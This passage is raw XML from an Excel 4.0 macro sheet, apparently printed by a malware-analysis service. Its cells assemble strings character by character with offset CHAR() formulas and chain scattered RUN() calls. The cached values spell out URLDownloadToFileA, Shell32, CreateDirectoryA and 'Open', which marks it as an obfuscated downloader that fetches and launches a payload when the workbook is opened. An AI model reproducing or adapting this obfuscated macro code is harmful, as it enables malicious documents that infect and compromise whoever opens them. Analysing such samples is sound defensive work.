spans="189:249" x14ac:dyDescent="0.25"><c r="IO1633"><v>274</v></c></row><row r="1638" spans="189:249" x14ac:dyDescent="0.25"><c r="GG1638"><v>86</v></c></row><row r="1649" spans="12:212" x14ac:dyDescent="0.25"><c r="HD1649" t="b"><f>RUN($AC$1207)</f><v>0</v></c></row><row r="1651" spans="12:212" x14ac:dyDescent="0.25"><c r="EA1651" t="b"><f>RUN($GI$819)</f><v>0</v></c></row><row r="1654" spans="12:212" x14ac:dyDescent="0.25"><c r="L1654"><v>71</v></c><c r="DR1654"><v>51</v></c></row><row r="1658" spans="12:212" x14ac:dyDescent="0.25"><c r="DZ1658"><v>759</v></c><c r="GR1658"><v>49</v></c></row><row r="1661" spans="12:212" x14ac:dyDescent="0.25"><c r="BE1661" t="str"><f>CHAR($FH$1205-587)</f><v>l</v></c></row><row r="1663" spans="12:212" x14ac:dyDescent="0.25"><c r="DS1663"><v>495</v></c></row><row r="1665" spans="50:198" x14ac:dyDescent="0.25"><c r="AX1665"><v>71</v></c></row><row r="1666" spans="50:198" x14ac:dyDescent="0.25"><c r="EG1666"><v>13</v></c></row><row r="1667" spans="50:198" x14ac:dyDescent="0.25"><c r="CY1667" t="str"><f>CHAR($CJ$1993-166)</f><v>I</v></c></row><row r="1669" spans="50:198" x14ac:dyDescent="0.25"><c r="CR1669" t="b"><f>RUN($HL$878)</f><v>0</v></c><c r="GP1669" t="b"><f>RUN($BH$1388)</f><v>0</v></c></row><row r="1676" spans="50:198" x14ac:dyDescent="0.25"><c r="GO1676"><v>87</v></c></row><row r="1680" spans="50:198" x14ac:dyDescent="0.25"><c r="CD1680"><v>705</v></c></row><row r="1684" spans="1:80" x14ac:dyDescent="0.25"><c r="A1684" t="str"><f>CHAR($EW$1828-587)</f><v>u</v></c><c r="CB1684"><v>656</v></c></row><row r="1689" spans="1:80" x14ac:dyDescent="0.25"><c r="AP1689" t="str"><f>CHAR($IO$1633-166)</f><v>l</v></c></row><row r="1693" spans="1:80" x14ac:dyDescent="0.25"><c r="R1693" t="str"><f>CHAR($GL$1440-587)</f><v>l</v></c></row><row r="1703" spans="46:198" x14ac:dyDescent="0.25"><c r="BC1703" t="b"><f>RUN($X$1067)</f><v>0</v></c></row><row r="1704" spans="46:198" x14ac:dyDescent="0.25"><c r="AT1704" t="b"><f>RUN($GP$1669)</f><v>0</v></c></row><row r="1708" spans="46:198" x14ac:dyDescent="0.25"><c r="GP1708" t="str"><f>CONCATENATE($AE$106)</f><v>Open</v></c></row><row r="1712" spans="46:198" x14ac:dyDescent="0.25"><c r="BG1712" t="str"><f>CHAR($R$1879-655)</f><v>L</v></c></row><row r="1713" spans="10:232" x14ac:dyDescent="0.25"><c r="GF1713"><v>688</v></c></row><row r="1714" spans="10:232" x14ac:dyDescent="0.25"><c r="AS1714" t="b"><f>RUN($CE$679)</f><v>0</v></c></row><row r="1716" spans="10:232" x14ac:dyDescent="0.25"><c r="J1716"><v>12</v></c><c r="AE1716" t="str"><f>CHAR($EU$351-166)</f><v>M</v></c><c r="HX1716" t="b"><f>RUN($B$642)</f><v>0</v></c></row><row r="1717" spans="10:232" x14ac:dyDescent="0.25"><c r="BD1717"><v>765</v></c></row><row r="1722" spans="10:232" x14ac:dyDescent="0.25"><c r="CV1722" t="str"><f>CHAR($A$738-587)</f><v>c</v></c></row><row r="1729" spans="2:13" x14ac:dyDescent="0.25"><c r="M1729"><v>9</v></c></row><row r="1737" spans="2:13" x14ac:dyDescent="0.25"><c r="B1737"><v>706</v></c></row><row r="1746" spans="15:234" x14ac:dyDescent="0.25"><c r="FI1746" t="str"><f>CHAR($DC$179-655)</f><v>O</v></c></row><row r="1747" spans="15:234" x14ac:dyDescent="0.25"><c r="DW1747" t="b"><f>RUN($GN$617)</f><v>0</v></c></row><row r="1750" spans="15:234" x14ac:dyDescent="0.25"><c r="CF1750"><v>666</v></c></row><row r="1751" spans="15:234" x14ac:dyDescent="0.25"><c r="AH1751"><v>480</v></c></row><row r="1753" spans="15:234" x14ac:dyDescent="0.25"><c r="HZ1753" t="b"><f>RUN($FX$1068)</f><v>0</v></c></row><row r="1760" spans="15:234" x14ac:dyDescent="0.25"><c r="O1760" t="str"><f>CHAR($GF$1713-587)</f><v>e</v></c></row><row r="1761" spans="16:242" x14ac:dyDescent="0.25"><c r="BD1761" t="b"><f>RUN($DA$1778)</f><v>0</v></c><c r="DA1761"><v>67</v></c><c r="EP1761"><v>695</v></c><c r="FK1761" t="str"><f>CHAR($IL$730-655)</f><v>l</v></c><c r="IH1761" t="b"><f>RUN($BK$1103)</f><v>0</v></c></row><row r="1765" spans="16:242" x14ac:dyDescent="0.25"><c r="P1765"><v>61</v></c><c r="EU1765" t="b"><f>RUN($CB$1126)</f><v>0</v></c></row><row r="1774" spans="16:242" x14ac:dyDescent="0.25"><c r="HX1774"><v>88</v></c></row><row r="1775" spans="16:242" x14ac:dyDescent="0.25"><c r="HL1775"><v>35</v></c></row><row r="1777" spans="26:184" x14ac:dyDescent="0.25"><c r="BT1777"><v>79</v></c></row><row r="1778" spans="26:184" x14ac:dyDescent="0.25"><c r="DA1778" t="b"><f>RUN($CI$1296)</f><v>0</v></c></row><row r="1782" spans="26:184" x14ac:dyDescent="0.25"><c r="Z1782" t="b"><f>RUN($CO$266)</f><v>0</v></c></row><row r="1785" spans="26:184" x14ac:dyDescent="0.25"><c r="FA1785"><v>13</v></c><c r="GB1785"><v>652</v></c></row><row r="1804" spans="10:234" x14ac:dyDescent="0.25"><c r="HZ1804"><v>737</v></c></row><row r="1807" spans="10:234" x14ac:dyDescent="0.25"><c r="DX1807" t="str"><f>CHAR($FZ$226-587)</f><v>o</v></c></row><row r="1808" spans="10:234" x14ac:dyDescent="0.25"><c r="J1808"><v>79</v></c></row><row r="1821" spans="54:222" x14ac:dyDescent="0.25"><c r="BB1821"><v>706</v></c></row><row r="1822" spans="54:222" x14ac:dyDescent="0.25"><c r="HN1822"><v>71</v></c></row><row r="1826" spans="20:226" x14ac:dyDescent="0.25"><c r="DN1826" t="str"><f>CHAR($GH$1922-587)</f><v>a</v></c><c r="DZ1826" t="str"><f>CHAR($CH$1602-166)</f><v>i</v></c></row><row r="1827" spans="20:226" x14ac:dyDescent="0.25"><c r="HR1827" t="b"><f>RUN($HG$1066)</f><v>0</v></c></row><row r="1828" spans="20:226" x14ac:dyDescent="0.25"><c r="T1828"><v>62</v></c><c r="EW1828"><v>704</v></c></row><row r="1834" spans="20:226" x14ac:dyDescent="0.25"><c r="BZ1834" t="b"><f>RUN($AF$1436)</f><v>0</v></c></row><row r="1839" spans="20:226" x14ac:dyDescent="0.25"><c r="T1839"><v>697</v></c></row><row r="1841" spans="51:220" x14ac:dyDescent="0.25"><c r="CC1841" t="str"><f>CONCATENATE($BG$54)</f><v>CreateDirectoryA</v></c></row><row r="1843" spans="51:220" x14ac:dyDescent="0.25"><c r="FK1843" t="str"><f>CHAR($FL$1919-587)</f><v>A</v></c></row><row r="1846" spans="51:220" x14ac:dyDescent="0.25"><c r="HL1846"><v>703</v></c></row><row r="1847" spans="51:220" x14ac:dyDescent="0.25"><c r="AY1847" t="str"><f>CONCATENATE($EV$1950,$FP$1381,$BG$896,$GZ$355,$EP$1928,$BO$1981,$CO$1431)</f><v>Shell32</v></c></row><row r="1849" spans="51:220" x14ac:dyDescent="0.25"><c r="DY1849" t="b"><f>RUN($CQ$966)</f><v>0</v></c></row><row r="1855" spans="51:220" x14ac:dyDescent="0.25"><c r="DX1855"><v>740</v></c></row><row r="1858" spans="31:192" x14ac:dyDescent="0.25"><c r="AG1858" t="str"><f>CHAR($BB$1821-587)</f><v>w</v></c></row><row r="1862" spans="31:192" x14ac:dyDescent="0.25"><c r="AE1862"><v>15</v></c></row><row r="1863" spans="31:192" x14ac:dyDescent="0.25"><c r="CP1863"><v>688</v></c></row><row r="1864" spans="31:192" x14ac:dyDescent="0.25"><c r="FD1864"><v>34</v></c></row><row r="1868" spans="31:192" x14ac:dyDescent="0.25"><c r="GJ1868" t="str"><f>CHAR($W$125-166)</f><v>k</v></c></row><row r="1869" spans="31:192" x14ac:dyDescent="0.25"><c r="DI1869"><v>99</v></c></row><row r="1874" spans="18:248" x14ac:dyDescent="0.25"><c r="HO1874"><v>65</v></c><c r="IN1874" t="str"><f>CHAR($GD$484-655)</f><v>r</v></c></row><row r="1875" spans="18:248" x14ac:dyDescent="0.25"><c r="ER1875" t="b"><f>RUN($BO$391)</f><v>0</v></c></row><row r="1879" spans="18:248" x14ac:dyDescent="0.25"><c r="R1879"><v>731</v></c></row><row r="1881" spans="18:248" x14ac:dyDescent="0.25"><c r="AF1881" t="str"><f>CHAR($CV$547-166)</f><v>X</v></c><c r="BN1881" t="b"><f>RUN($R$98)</f><v>0</v></c><c r="GT1881" t="b"><f>RUN($HM$1919)</f><v>0</v></c></row><row r="1882" spans="18:248" x14ac:dyDescent="0.25"><c r="BI1882"><v>691</v></c></row><row r="1883" spans="18:248" x14ac:dyDescent="0.25"><c r="Y1883"><v>31</v></c></row><row r="1884" spans="18:248" x14ac:dyDescent="0.25"><c r="EQ1884" t="b"><f>RUN($CB$755)</f><v>0</v></c></row><row r="1885" spans="18:248" x14ac:dyDescent="0.25"><c r="AR1885"><v>265</v></c></row><row r="1887" spans="18:248" x14ac:dyDescent="0.25"><c r="HC1887" t="b"><f>RUN($BT$148)</f><v>0</v></c></row><row r="1889" spans="3:153" x14ac:dyDescent="0.25"><c r="P1889"><v>487</v></c></row><row r="1893" spans="3:153" x14ac:dyDescent="0.25"><c r="EW1893" t="b"><f>RUN($BG$505)</f><v>0</v></c></row><row r="1896" spans="3:153" x14ac:dyDescent="0.25"><c r="C1896"><v>701</v></c></row><row r="1900" spans="3:153" x14ac:dyDescent="0.25"><c r="CZ1900" t="str"><f>CONCATENATE($HL$693)</f><v>l</v></c></row><row r="1904" spans="3:153" x14ac:dyDescent="0.25"><c r="CB1904"><v>688</v></c></row><row r="1905" spans="63:232" x14ac:dyDescent="0.25"><c r="BK1905" t="b"><f>RUN($CW$263)</f><v>0</v></c></row><row r="1909" spans="63:232" x14ac:dyDescent="0.25"><c r="HX1909"><v>234</v></c></row><row r="1910" spans="63:232" x14ac:dyDescent="0.25"><c r="GK1910" t="str"><f>CHAR($BO$1465-587)</f><v>d</v></c><c r="HS1910"><v>494</v></c></row><row r="1919" spans="63:232" x14ac:dyDescent="0.25"><c r="FL1919"><v>652</v></c><c r="HM1919" t="b"><f>RUN($EW$1893)</f><v>0</v></c></row><row r="1922" spans="8:190" x14ac:dyDescent="0.25"><c r="DO1922"><v>62</v></c><c r="GH1922"><v>684</v></c></row><row r="1927" spans="8:190" x14ac:dyDescent="0.25"><c r="CW1927" t="str"><f>CHAR($IC$1361-587)</f><v>n</v></c></row><row r="1928" spans="8:190" x14ac:dyDescent="0.25"><c r="EP1928" t="str"><f>CHAR($GS$1093-655)</f><v>l</v></c></row><row r="1929" spans="8:190" x14ac:dyDescent="0.25"><c r="H1929"><v>84</v></c></row><row r="1930" spans="8:190" x14ac:dyDescent="0.25"><c r="EB1930"><v>25</v></c></row><row r="1932" spans="8:190" x14ac:dyDescent="0.25"><c r="DA1932"><v>66</v></c></row><row r="1941" spans="77:228" x14ac:dyDescent="0.25"><c r="EF1941" t="b"><f>RUN($GH$1949)</f><v>0</v></c></row><row r="1948" spans="77:228" x14ac:dyDescent="0.25"><c r="BY1948"><v>42</v></c></row><row r="1949" spans="77:228" x14ac:dyDescent="0.25"><c r="GH1949" t="b"><f>RUN($BK$1905)</f><v>0</v></c></row><row r="1950" spans="77:228" x14ac:dyDescent="0.25"><c r="EV1950" t="str"><f>CHAR($AC$1247-655)</f><v>S</v></c><c r="HT1950"><v>83</v></c></row><row r="1957" spans="33:207" x14ac:dyDescent="0.25"><c r="FE1957"><v>477</v></c></row><row r="1958" spans="33:207" x14ac:dyDescent="0.25"><c r="AG1958"><v>16</v></c></row><row r="1959" spans="33:207" x14ac:dyDescent="0.25"><c r="CM1959" t="b"><f>RUN($IC$1572)</f><v>0</v></c></row><row r="1961" spans="33:207" x14ac:dyDescent="0.25"><c r="BN1961"><v>17</v></c></row><row r="1963" spans="33:207" x14ac:dyDescent="0.25"><c r="GY1963"><v>87</v></c></row><row r="1970" spans="9:193" x14ac:dyDescent="0.25"><c r="GK1970" t="str"><f>CONCATENATE($EN$1051,$AV$478,$IG$1026,$BS$1286,$BN$1513,$AG$1858,$CW$1927,$BD$893,$EX$1487,$DN$1826,$GK$1910,$EP$940,$HQ$551,$DQ$696,$CC$1431,$BX$570,$BE$479,$GJ$158)</f><v>URLDownloadToFileA</v></c></row><row r="1974" spans="9:193" x14ac:dyDescent="0.25"><c r="S1974"><v>60</v></c></row><row r="1977" spans="9:193" x14ac:dyDescent="0.25"><c r="I1977" t="str"><f>CHAR($K$866-587)</f><v>D</v></c></row><row r="1981" spans="9:193" x14ac:dyDescent="0.25"><c r="BF1981"><v>487</v></c><c r="BO1981" t="str"><f>CHAR($B$1737-655)</f><v>3</v></c></row><row r="1983" spans="9:193" x14ac:dyDescent="0.25"><c r="AD1983" t="str"><f>CHAR($E$1189-655)</f><v>M</v></c></row><row r="1984" spans="9:193" x14ac:dyDescent="0.25"><c r="CR1984"><v>701</v></c></row><row r="1988" spans="65:176" x14ac:dyDescent="0.25"><c r="FT1988" t="b"><f>RUN($HR$1827)</f><v>0</v></c></row><row r="1991" spans="65:176" x14ac:dyDescent="0.25"><c r="BM1991"><v>699</v></c></row><row r="1993" spans="65:176" x14ac:dyDescent="0.25"><c r="CJ1993"><v>239</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.